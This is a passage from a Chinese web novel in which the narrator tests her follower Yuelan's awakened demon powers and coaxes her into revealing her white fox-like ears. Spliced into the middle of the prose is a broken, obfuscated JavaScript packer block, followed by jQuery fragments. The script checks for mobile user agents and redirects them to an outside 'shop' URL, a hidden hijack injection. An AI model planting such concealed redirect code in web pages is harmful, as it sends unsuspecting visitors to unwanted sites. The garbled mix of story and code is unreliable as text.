指了指旁边一丛生命力顽强的野草：“能催生或者控制植物吗？”

    月阑愣了一下，老实摇头：“不能。”

    “元素操控呢？火球？水球？土墙？”

    “……不能。”

    “隐身？透视？瞬移？”

    “……都不能。”

    【啧，技能树点亮得明显不够啊，除了力气大点跳得高点，没啥花样。娱乐性不足。】

    姜玉成在心里吐槽，表面却不动声色：“感知方面呢？比如，能察觉到周围有什么不对劲吗？”

    说到这个，月阑的精神明显一振。她闭上眼，鼻翼微微翕动，耳朵似乎也动了动。几秒后，她睁开眼，指向温室一个阴暗的角落：“那里……有很淡的，让人不舒服的气息，像是……某种小动物死后残留的怨念，很微弱。”

    姜玉成的【视觉捕捉】早就看到了那团指甲盖大小、即将消散的灰色能量。她点了点头：“感知力还行，算是个亮点。勉强算你B+吧。”

    听到“亮点”和“B+”，月阑脸上露出了如释重负的笑容，像极了被老师表扬的小学生。她懂的，像老大这么稳重内敛的人，为了防止她骄傲，评价肯定都会压低一点，她嘴上说是B＋，肯定在心里至少给她打了A－，开局就A－了，A＋还会远吗？加油啊月阑，你未来大有可为！

    “谢谢老大的鼓励！我一定会好好努力，不辜负你的期待！”

    姜玉成看着月阑那因为运动而微微泛红、带着汗水的俊朗侧脸，看着她脸上阳光明媚的笑，听着她忠犬般的话语，忽然产生了一种强烈的，想撸狗的冲动。

    漫画里提过，月阑妖血觉醒初期，情绪激动或力量运转时，偶尔会控制不住露出妖的特征，比如头顶上的白耳朵。

    一想到这个，她就更想撸了。而她一向是想到就做的人。

    “那个，月阑啊——”她尽量让自己的语气听起来像是纯粹出于研究和关心的目的，“你……能不能，把你真实的耳朵……露出来给我看看？”

    月阑身体猛地一僵，脸上的笑容瞬间凝固。她下意识地抬手想捂住自己的耳朵，眼神中闪过一丝慌乱、窘迫，还有自卑。

    那是她内心深处最想隐藏的、属于“非人”的证明。

    “老……老大……”她声音干涩。

    “放心，这里没别人。”姜玉成往前走了两步，凑近了些，眼神里充满了学术探究般的好奇（至少在月阑看来是这样）。
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16946707|193014||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    p>

    “我只是想更直观地了解你的状态，这对后续引导你的力量很重要。”

    她说得义正严辞。

    月阑看着她近在咫尺的脸，那双清澈的眼睛里没有恐惧，没有厌恶，只有平静和……好奇？她紧绷的心弦莫名松了一下。

    是啊，老大不是普通人，她早就看穿了自己，却依然愿意接纳她、指引她。她甚至不害怕自己这怪物的证明……

    一种名为“士为知己者死”的情绪涌上心头。她咬了咬牙，像是下定了某种决心。

    只见她深吸一口气，努力集中精神。片刻后，在她黑色的碎发间，一对毛茸茸的、顶端带着一小撮聪明毛的白色耳朵，缓缓地、有些害羞地探了出来